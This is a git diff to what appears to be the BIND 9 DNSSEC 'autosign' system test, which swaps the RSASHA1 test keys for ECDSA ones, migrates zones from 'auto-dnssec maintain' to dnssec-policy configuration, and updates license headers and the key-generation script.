diff --git a/bin/tests/system/autosign/ns2/Xbar.+005+30676.key b/bin/tests/system/autosign/ns2/Xbar.+005+30676.key
deleted file mode 100644
index 7428d5caf7..0000000000
--- a/bin/tests/system/autosign/ns2/Xbar.+005+30676.key
+++ /dev/null
@@ -1,5 +0,0 @@
-; This is a key-signing key, keyid 30676, for bar.
-; Created: Sat Dec 26 03:13:10 2009
-; Publish: Sat Dec 26 03:13:10 2009
-; Activate: Sat Dec 26 03:13:10 2009
-bar. IN DNSKEY 257 3 5 AwEAAc7ppysDZjlldTwsvcXcTTOYJd5TvW5RUWWYKRsee+ozwY6C7vNI 0Xp1PiY+H31GhcnNMCjQU00y8Vezo42oJ4kpRTDevL0STksExXi1/wG+ M4j1CFMh2wgJ/9XLFzHaEWzt4sflVBAVZVXa/qNkRWDXYjsr30MWyylA wHCIxEuyA+NxAL6UL+ZuFo1j84AvfwkGcMbXTcOBSCaHT6AJToSXAcCa X4fnKJIzG4RyJoN2GK4TVdj4qSzLxL1lRkYHNqJvcmMjezxUs9A5fHNI iBEBRPs7NKrQJxegAGVn9ALylKHyhJW6uyBjleOWUDom4ej2J1vGrpQT /KCA35toCvU=
diff --git a/bin/tests/system/autosign/ns2/Xbar.+005+30676.private b/bin/tests/system/autosign/ns2/Xbar.+005+30676.private
deleted file mode 100644
index dcc0fbdf17..0000000000
--- a/bin/tests/system/autosign/ns2/Xbar.+005+30676.private
+++ /dev/null
@@ -1,13 +0,0 @@
-Private-key-format: v1.3
-Algorithm: 5 (RSASHA1)
-Modulus: zumnKwNmOWV1PCy9xdxNM5gl3lO9blFRZZgpGx576jPBjoLu80jRenU+Jj4ffUaFyc0wKNBTTTLxV7OjjagniSlFMN68vRJOSwTFeLX/Ab4ziPUIUyHbCAn/1csXMdoRbO3ix+VUEBVlVdr+o2RFYNdiOyvfQxbLKUDAcIjES7ID43EAvpQv5m4WjWPzgC9/CQZwxtdNw4FIJodPoAlOhJcBwJpfh+cokjMbhHImg3YYrhNV2PipLMvEvWVGRgc2om9yYyN7PFSz0Dl8c0iIEQFE+zs0qtAnF6AAZWf0AvKUofKElbq7IGOV45ZQOibh6PYnW8aulBP8oIDfm2gK9Q==
-PublicExponent: AQAB
-PrivateExponent: BcfjYsFCjuH1x4ucdbW09ncOv8ppJXbiJkt9AoP0hFOT2c5wrJ1hNOGnrdvYd2CMBlpUOR+w5BxDP+cF78Q97ogXpcjjTwj+5PuqJLg4+qx8thvacrAkdXIKEsgMytjD2d4/ksQmeBiQ7zgiGyCHC7CYzvxnzXEKlgl4FuzLRy4SH1YiSTxKfw1ANKKHxmw8Xvav9ljubrzNdBEQNs6eJNkC6c3aGqiPFyTWGa90s6t1mwTXSxFqBUR1WlbfyYfuiAK2CAvFHeNo7VuC934ri7ceEq8jeOSuY0IqDq2pA3gVWVOyR4NFLXJWeDA3pjqi109t/WGg9IGydD/hsleP4Q==
-Prime1: /hz+WxAL+9bO1l/857ME/OhxImSp86Xi7eA920sAo5ukOIQAQ6hbaKemYxyUbwBmGHEX9d0GOU+xAgZWUU9PbZgXw0fdf+uw6Hrgfce0rWY+uJpUcVHfjLPFgMC/XYrfcVQ8tsCXqRsIbqL+ynsEkQ4vybLhlSAyFqGqYFk/Qt0=
-Prime2: 0HLxXynoSxUcNW15cbuMRHD34ri8sUQsqCtezofPWcCo/17jqf42W7X9YGO70+BvmG3awSr3LaLf862ovCR5+orwE2MqamAV6JZMyR7nvMNGSHTdg3Kk7Jv7T5Gu7Cg6K+on8pMRW3aIms4gs/Z16j0Gxz74ES9IP3vsvC+q6vk=
-Exponent1: NLeXHRUrJ0fdCSRIt1iwRDeEoPn5OA7GEUtgCcp5i3eSjhb0ZxTaQc/l+NHJCW4vwApWSi9cRy99LUpbResKM1ZGN8EE9rDStqgnQnDXztFTWcDKm+e8VNhGtPtHuARDbqNnJRK3Y+Gz0iAGc8Mpo14qE9IEcoeHXKKVUf+x3BE=
-Exponent2: dKCbJB+SdM/u5IXH+TZyGKkMSLIMATKfucfqV6vs+86rv5Yb0zUEvPNqPNAQe0+LoMF2L7YWblY+71wumHXgOaobAP3u8W2pVGUjuTOtfRPU8x1QAwfV9vye87oTINaxFXkBuNtITuBXNiY2bfprpw9WB4zXxuWpiruPjQsumiE=
-Coefficient: qk8HX5fy74Sx6z3niBfTM/SUEjcsnJCTTmsXy6e7nOXWBK5ihKkmMw7LDhaY4OwjXvaVQH0Z190dfyOkWYTbXInIyNNnqCD+xZXkuzuvsUwLNgvXEFhVnzrrj3ozNiizZsyeAhFCKcITz3ci15HB3y8ZLChGYBPFU1ui7MsSkc8=
-Created: 20091226021310
-Publish: 20091226021310
-Activate: 20091226021310
diff --git a/bin/tests/system/autosign/ns2/Xbar.+005+30804.key b/bin/tests/system/autosign/ns2/Xbar.+005+30804.key
deleted file mode 100644
index ab53d8c607..0000000000
--- a/bin/tests/system/autosign/ns2/Xbar.+005+30804.key
+++ /dev/null
@@ -1,5 +0,0 @@
-; This is a key-signing key, keyid 30804, for bar.
-; Created: Sat Dec 26 03:13:10 2009
-; Publish: Sat Dec 26 03:13:10 2009
-; Activate: Sat Dec 26 03:13:10 2009
-bar. IN DNSKEY 257 3 5 AwEAgc7ppysDZjlldTwsvcXcTTOYJd5TvW5RUWWYKRsee+ozwY6C7vNI 0Xp1PiY+H31GhcnNMCjQU00y8Vezo42oJ4kpRTDevL0STksExXi1/wG+ M4j1CFMh2wgJ/9XLFzHaEWzt4sflVBAVZVXa/qNkRWDXYjsr30MWyylA wHCIxEuyA+NxAL6UL+ZuFo1j84AvfwkGcMbXTcOBSCaHT6AJToSXAcCa X4fnKJIzG4RyJoN2GK4TVdj4qSzLxL1lRkYHNqJvcmMjezxUs9A5fHNI iBEBRPs7NKrQJxegAGVn9ALylKHyhJW6uyBjleOWUDom4ej2J1vGrpQT /KCA35toCvU=
diff --git a/bin/tests/system/autosign/ns2/Xbar.+005+30804.private b/bin/tests/system/autosign/ns2/Xbar.+005+30804.private
deleted file mode 100644
index 79f8d3b4cf..0000000000
--- a/bin/tests/system/autosign/ns2/Xbar.+005+30804.private
+++ /dev/null
@@ -1,13 +0,0 @@
-Private-key-format: v1.3
-Algorithm: 5 (RSASHA1)
-Modulus: zumnKwNmOWV1PCy9xdxNM5gl3lO9blFRZZgpGx576jPBjoLu80jRenU+Jj4ffUaFyc0wKNBTTTLxV7OjjagniSlFMN68vRJOSwTFeLX/Ab4ziPUIUyHbCAn/1csXMdoRbO3ix+VUEBVlVdr+o2RFYNdiOyvfQxbLKUDAcIjES7ID43EAvpQv5m4WjWPzgC9/CQZwxtdNw4FIJodPoAlOhJcBwJpfh+cokjMbhHImg3YYrhNV2PipLMvEvWVGRgc2om9yYyN7PFSz0Dl8c0iIEQFE+zs0qtAnF6AAZWf0AvKUofKElbq7IGOV45ZQOibh6PYnW8aulBP8oIDfm2gK9Q==
-PublicExponent: AQCB
-PrivateExponent: I5TcRq2sbSi1u5a+jL6VVBBu3nyY7p3NXeD1WYYYD66b8RWbgJdTtsZxgixD5sKKrW/xT68d3FUsIjs36w7yp5+g99q7lJ3v35VcMuLXbaKitS/LJdTZF/GIWwRs+DHdt+chh0QeNLzclq8ZfBeTAycFxwC7zVDLsqqcL6/JHiJhHT+dNEqj6/AIOgSYJzVeBI34LtZLW94IKf4dHLzREnLK6+64PFjpwjOG12O9klKfwHRIRN9WUsDG4AuzDSABH+qo2Zc6uJusC/D6HADbiG7tXmLYL6IxanWTbTrx4Hfp01fF+JQCuyOCRmN47X/nCumvDXKMn9Ve5+OlYi0vAQ==
-Prime1: /hz+WxAL+9bO1l/857ME/OhxImSp86Xi7eA920sAo5ukOIQAQ6hbaKemYxyUbwBmGHEX9d0GOU+xAgZWUU9PbZgXw0fdf+uw6Hrgfce0rWY+uJpUcVHfjLPFgMC/XYrfcVQ8tsCXqRsIbqL+ynsEkQ4vybLhlSAyFqGqYFk/Qt0=
-Prime2: 0HLxXynoSxUcNW15cbuMRHD34ri8sUQsqCtezofPWcCo/17jqf42W7X9YGO70+BvmG3awSr3LaLf862ovCR5+orwE2MqamAV6JZMyR7nvMNGSHTdg3Kk7Jv7T5Gu7Cg6K+on8pMRW3aIms4gs/Z16j0Gxz74ES9IP3vsvC+q6vk=
-Exponent1: JDLRyjRz53hTP7H2oaKgQYADs/UDswN2lwWpuag0wsPwQmeRAZZY2TiISPSu+3Mvh4XJ6r5UHQd5FbAN1v2mG4aYgWwoYwoxyvdTLcnQXciX2z+7877GcEyKHPno4fYXRqhVH4i1QjKaQl8dw9LFvzbVvGvvwsHGwQeqPprw7hk=
-Exponent2: vbnob7AZKqKhiVdEcnnhbeZBGcaKkTpE+RAkUL7spNQDiTPvJgo5fcTk/h6G7ijAXK0j62ZHZ3RS7RnaRa+KhO7usPcYMFiJ/VdAyRlIivhyi+WNQ2x4vSygwDy2VV9elljFeNe4dV1Cb+ssE8kAmbP52JjJD6MkhvVLd0u/jMk=
-Coefficient: qk8HX5fy74Sx6z3niBfTM/SUEjcsnJCTTmsXy6e7nOXWBK5ihKkmMw7LDhaY4OwjXvaVQH0Z190dfyOkWYTbXInIyNNnqCD+xZXkuzuvsUwLNgvXEFhVnzrrj3ozNiizZsyeAhFCKcITz3ci15HB3y8ZLChGYBPFU1ui7MsSkc8=
-Created: 20091226021310
-Publish: 20091226021310
-Activate: 20091226021310
diff --git a/bin/tests/system/autosign/ns2/Xbar.+013+59973.key b/bin/tests/system/autosign/ns2/Xbar.+013+59973.key
new file mode 100644
index 0000000000..1f4d1f4d45
--- /dev/null
+++ b/bin/tests/system/autosign/ns2/Xbar.+013+59973.key
@@ -0,0 +1,5 @@
+; This is a key-signing key, keyid 59973, for bar.
+; Created: 20220623022335 (Thu Jun 23 12:23:35 2022)
+; Publish: 20220623022335 (Thu Jun 23 12:23:35 2022)
+; Activate: 20220623022335 (Thu Jun 23 12:23:35 2022)
+bar. IN DNSKEY 257 3 13 QT6CpMaV4BT072+NaKLY5H01Mj2r1MOgsxgoiTAq1Fbf6rrkEWpnbktu Dh9Ol9kuzcUrefxDuxNwsXJu3iDPxw==
diff --git a/bin/tests/system/autosign/ns2/Xbar.+013+59973.private b/bin/tests/system/autosign/ns2/Xbar.+013+59973.private
new file mode 100644
index 0000000000..708d242da3
--- /dev/null
+++ b/bin/tests/system/autosign/ns2/Xbar.+013+59973.private
@@ -0,0 +1,6 @@
+Private-key-format: v1.3
+Algorithm: 13 (ECDSAP256SHA256)
+PrivateKey: joFZ8vCdyqkgMb6rZ0zanrdrzOSCg1GyEJV6tp5F+Bw=
+Created: 20220623022335
+Publish: 20220623022335
+Activate: 20220623022335
diff --git a/bin/tests/system/autosign/ns2/Xbar.+013+60101.key b/bin/tests/system/autosign/ns2/Xbar.+013+60101.key
new file mode 100644
index 0000000000..0c478408a6
--- /dev/null
+++ b/bin/tests/system/autosign/ns2/Xbar.+013+60101.key
@@ -0,0 +1,5 @@
+; This is a key-signing key, keyid 60101, for bar.
+; Created: 20220623022331 (Thu Jun 23 12:23:31 2022)
+; Publish: 20220623022331 (Thu Jun 23 12:23:31 2022)
+; Activate: 20220623022331 (Thu Jun 23 12:23:31 2022)
+bar. IN DNSKEY 257 3 13 dLGGOAE5uJd53Gci9MdymaRTMwsXVn13j05IfGJoVt9ucpeXpoIKVViX JNVE/uO4eJvkHycdEAvdVUWcslEmMQ==
diff --git a/bin/tests/system/autosign/ns2/Xbar.+013+60101.private b/bin/tests/system/autosign/ns2/Xbar.+013+60101.private
new file mode 100644
index 0000000000..6ca837002f
--- /dev/null
+++ b/bin/tests/system/autosign/ns2/Xbar.+013+60101.private
@@ -0,0 +1,6 @@
+Private-key-format: v1.3
+Algorithm: 13 (ECDSAP256SHA256)
+PrivateKey: pTTXxZUTzeVBXHMUJxTMxjh9yU4oxDtEhEvpkj+olf0=
+Created: 20220623022331
+Publish: 20220623022331
+Activate: 20220623022331
diff --git a/bin/tests/system/autosign/ns2/bar.db.in b/bin/tests/system/autosign/ns2/bar.db.in
index a78c518b0b..8a9fa987a8 100644
--- a/bin/tests/system/autosign/ns2/bar.db.in
+++ b/bin/tests/system/autosign/ns2/bar.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns2/child.nsec3.example.db b/bin/tests/system/autosign/ns2/child.nsec3.example.db
deleted file mode 100644
index 8c7db6531c..0000000000
--- a/bin/tests/system/autosign/ns2/child.nsec3.example.db
+++ /dev/null
@@ -1,18 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300	; 5 minutes
-@			IN SOA	mname1. . (
-				2006081400 ; serial
-				20         ; refresh (20 seconds)
-				20         ; retry (20 seconds)
-				1814400    ; expire (3 weeks)
-				3600       ; minimum (1 hour)
-				)
-@			IN NS	ns2.example.
diff --git a/bin/tests/system/autosign/ns2/child.nsec3.example.db.in b/bin/tests/system/autosign/ns2/child.nsec3.example.db.in
new file mode 100644
index 0000000000..8fc3bc837e
--- /dev/null
+++ b/bin/tests/system/autosign/ns2/child.nsec3.example.db.in
@@ -0,0 +1,20 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	mname1. . (
+				2006081400 ; serial
+				20         ; refresh (20 seconds)
+				20         ; retry (20 seconds)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+@			IN NS	ns2.example.
diff --git a/bin/tests/system/autosign/ns2/child.optout.example.db b/bin/tests/system/autosign/ns2/child.optout.example.db
deleted file mode 100644
index 8c7db6531c..0000000000
--- a/bin/tests/system/autosign/ns2/child.optout.example.db
+++ /dev/null
@@ -1,18 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300	; 5 minutes
-@			IN SOA	mname1. . (
-				2006081400 ; serial
-				20         ; refresh (20 seconds)
-				20         ; retry (20 seconds)
-				1814400    ; expire (3 weeks)
-				3600       ; minimum (1 hour)
-				)
-@			IN NS	ns2.example.
diff --git a/bin/tests/system/autosign/ns2/child.optout.example.db.in b/bin/tests/system/autosign/ns2/child.optout.example.db.in
new file mode 100644
index 0000000000..8fc3bc837e
--- /dev/null
+++ b/bin/tests/system/autosign/ns2/child.optout.example.db.in
@@ -0,0 +1,20 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	mname1. . (
+				2006081400 ; serial
+				20         ; refresh (20 seconds)
+				20         ; retry (20 seconds)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+@			IN NS	ns2.example.
diff --git a/bin/tests/system/autosign/ns2/dst.example.db.in b/bin/tests/system/autosign/ns2/dst.example.db.in
index 769d2b5f06..0039484964 100644
--- a/bin/tests/system/autosign/ns2/dst.example.db.in
+++ b/bin/tests/system/autosign/ns2/dst.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns2/example.db.in b/bin/tests/system/autosign/ns2/example.db.in
index d519863098..a970074dc8 100644
--- a/bin/tests/system/autosign/ns2/example.db.in
+++ b/bin/tests/system/autosign/ns2/example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns2/insecure.secure.example.db b/bin/tests/system/autosign/ns2/insecure.secure.example.db
deleted file mode 100644
index 86552149e1..0000000000
--- a/bin/tests/system/autosign/ns2/insecure.secure.example.db
+++ /dev/null
@@ -1,24 +0,0 @@
-; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-;
-; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
-;
-; See the COPYRIGHT file distributed with this work for additional
-; information regarding copyright ownership.
-
-$TTL 300	; 5 minutes
-@			IN SOA	mname1. . (
-				2000042407 ; serial
-				20         ; refresh (20 seconds)
-				20         ; retry (20 seconds)
-				1814400    ; expire (3 weeks)
-				3600       ; minimum (1 hour)
-				)
-			NS	ns
-ns			A	10.53.0.3
-
-a			A	10.0.0.1
-b			A	10.0.0.2
-d			A	10.0.0.4
-z			A	10.0.0.26
diff --git a/bin/tests/system/autosign/ns2/insecure.secure.example.db.in b/bin/tests/system/autosign/ns2/insecure.secure.example.db.in
new file mode 100644
index 0000000000..14971bd7a6
--- /dev/null
+++ b/bin/tests/system/autosign/ns2/insecure.secure.example.db.in
@@ -0,0 +1,26 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA	mname1. . (
+				2000042407 ; serial
+				20         ; refresh (20 seconds)
+				20         ; retry (20 seconds)
+				1814400    ; expire (3 weeks)
+				3600       ; minimum (1 hour)
+				)
+			NS	ns
+ns			A	10.53.0.3
+
+a			A	10.0.0.1
+b			A	10.0.0.2
+d			A	10.0.0.4
+z			A	10.0.0.26
diff --git a/bin/tests/system/autosign/ns2/keygen.sh b/bin/tests/system/autosign/ns2/keygen.sh
index 265928e510..f9aa3bcdf1 100644
--- a/bin/tests/system/autosign/ns2/keygen.sh
+++ b/bin/tests/system/autosign/ns2/keygen.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -14,41 +16,55 @@
 # Have the child generate subdomain keys and pass DS sets to us.
 ( cd ../ns3 && $SHELL keygen.sh )
 
-for subdomain in secure nsec3 autonsec3 optout rsasha256 rsasha512 nsec3-to-nsec oldsigs sync \
-    dname-at-apex-nsec3
+for subdomain in secure nsec3 optout rsasha256 rsasha512 \
+		 nsec3-to-nsec oldsigs dname-at-apex-nsec3
 do
-	cp ../ns3/dsset-$subdomain.example$TP .
+	cp ../ns3/dsset-$subdomain.example. .
 done
 
 # Create keys and pass the DS to the parent.
 zone=example
 zonefile="${zone}.db"
 infile="${zonefile}.in"
-cat $infile dsset-*.example$TP > $zonefile
+cat $infile dsset-*.example. > $zonefile
 
-kskname=`$KEYGEN -a RSASHA1 -3 -q -fk $zone`
-$KEYGEN -a RSASHA1 -3 -q $zone > /dev/null
-$DSFROMKEY $kskname.key > dsset-${zone}$TP
+kskname=$($KEYGEN -a ${DEFAULT_ALGORITHM} -3 -q -fk $zone)
+$KEYGEN -a ${DEFAULT_ALGORITHM} -3 -q $zone > /dev/null
+$DSFROMKEY $kskname.key > dsset-${zone}.
 
 # Create keys for a private secure zone.
 zone=private.secure.example
 zonefile="${zone}.db"
 infile="${zonefile}.in"
-ksk=`$KEYGEN -a RSASHA1 -3 -q -fk $zone`
-$KEYGEN -a RSASHA1 -3 -q $zone > /dev/null
+ksk=$($KEYGEN -a ${DEFAULT_ALGORITHM} -3 -q -fk $zone)
+$KEYGEN -a ${DEFAULT_ALGORITHM} -3 -q $zone > /dev/null
 keyfile_to_static_ds $ksk > private.conf
 cp private.conf ../ns4/private.conf
-$SIGNER -S -3 beef -A -o $zone -f $zonefile $infile > /dev/null
+$SIGNER -S -3 beef -A -o $zone -f $zonefile $infile > signing.privsec.out 2>&1
 
 # Extract saved keys for the revoke-to-duplicate-key test
 zone=bar
 zonefile="${zone}.db"
 infile="${zonefile}.in"
 cat $infile > $zonefile
-for i in Xbar.+005+30676.key Xbar.+005+30804.key Xbar.+005+30676.private \
-	 Xbar.+005+30804.private
+for i in Xbar.+013+59973.key Xbar.+013+59973.private \
+	 Xbar.+013+60101.key Xbar.+013+60101.private
 do
-	cp $i `echo $i | sed s/X/K/`
+    cp $i $(echo $i | sed s/X/K/)
 done
-$KEYGEN -a RSASHA1 -q $zone > /dev/null
-$DSFROMKEY Kbar.+005+30804.key > dsset-bar$TP
+$KEYGEN -a ECDSAP256SHA256 -q $zone > /dev/null
+$DSFROMKEY Kbar.+013+60101.key > dsset-bar.
+$SIGNER -S -o bar. -O full $zonefile > signing.bar.out 2>&1
+
+# a zone with empty non-terminals.
+zone=optout-with-ent
+zonefile=optout-with-ent.db
+infile=optout-with-ent.db.in
+cat $infile > $zonefile
+kskname=$($KEYGEN -a ${DEFAULT_ALGORITHM} -3 -q -fk $zone)
+$KEYGEN -a ${DEFAULT_ALGORITHM} -3 -q $zone > /dev/null
+
+# Copy zone input files
+cp child.nsec3.example.db.in child.nsec3.example.db
+cp child.optout.example.db.in child.optout.example.db
+cp insecure.secure.example.db.in insecure.secure.example.db
diff --git a/bin/tests/system/autosign/ns2/named.conf.in b/bin/tests/system/autosign/ns2/named.conf.in
index 5cdf863a1a..0dad4bde0d 100644
--- a/bin/tests/system/autosign/ns2/named.conf.in
+++ b/bin/tests/system/autosign/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -27,13 +29,47 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
 	inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
 };
 
+dnssec-policy "autosign" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+};
+
+dnssec-policy "private" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+
+	nsec3param iterations 0 optout no salt-length 2;
+};
+
+dnssec-policy "nsec3" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+
+	nsec3param iterations 0 optout no salt-length 0;
+};
+
+dnssec-policy "optout" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+
+	nsec3param iterations 1 optout yes salt-length 0;
+};
+
 zone "." {
 	type hint;
 	file "../../common/root.hint";
@@ -45,17 +81,17 @@ zone "example" {
 	allow-query { any; };
 	allow-transfer { any; };
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy autosign;
+	sig-signing-type 65280;
 };
 
 zone "bar" {
 	type primary;
-	file "bar.db";
+	file "bar.db.signed";
 	allow-query { any; };
 	allow-transfer { any; };
 	allow-update { any; };
-	auto-dnssec maintain;
-	dnssec-dnskey-kskonly yes;
 };
 
 zone "private.secure.example" {
@@ -64,7 +100,8 @@ zone "private.secure.example" {
 	allow-query { any; };
 	allow-transfer { any; };
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy private;
 };
 
 zone "insecure.secure.example" {
@@ -73,7 +110,8 @@ zone "insecure.secure.example" {
 	allow-query { any; };
 	allow-transfer { any; };
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy autosign;
 };
 
 zone "child.nsec3.example" {
@@ -82,7 +120,8 @@ zone "child.nsec3.example" {
 	allow-query { any; };
 	allow-transfer { any; };
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy nsec3;
 };
 
 zone "child.optout.example" {
@@ -91,7 +130,18 @@ zone "child.optout.example" {
 	allow-query { any; };
 	allow-transfer { any; };
 	allow-update { any; };
-	auto-dnssec maintain;
+	inline-signing no;
+	dnssec-policy optout;
+};
+
+zone "optout-with-ent" {
+	type primary;
+	file "optout-with-ent.db";
+	allow-query { any; };
+	allow-transfer { any; };
+	allow-update { any; };
+	inline-signing no;
+	dnssec-policy optout;
 };
 
 include "trusted.conf";
diff --git a/bin/tests/system/autosign/ns2/optout-with-ent.db.in b/bin/tests/system/autosign/ns2/optout-with-ent.db.in
new file mode 100644
index 0000000000..5a3e207f2c
--- /dev/null
+++ b/bin/tests/system/autosign/ns2/optout-with-ent.db.in
@@ -0,0 +1,22 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300	; 5 minutes
+@			IN SOA  ns2.example. . (
+			2010042407	; serial
+			20		; refresh (20 seconds)
+			20		; retry (20 seconds)
+			1814400		; expire (3 weeks)
+			3600		; minimum (1 hour)
+			)
+			NS	ns2.example.
+sub1.ent		NS	.
+sub2.ent		NS	.
diff --git a/bin/tests/system/autosign/ns2/private.secure.example.db.in b/bin/tests/system/autosign/ns2/private.secure.example.db.in
index 37a77b72f5..29fcddf880 100644
--- a/bin/tests/system/autosign/ns2/private.secure.example.db.in
+++ b/bin/tests/system/autosign/ns2/private.secure.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/autosign/ns3/autonsec3.example.db.in b/bin/tests/system/autosign/ns3/autonsec3.example.db.in
index 0b160d79c2..17964e856d 100644
--- a/bin/tests/system/autosign/ns3/autonsec3.example.db.in
+++ b/bin/tests/system/autosign/ns3/autonsec3.example.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
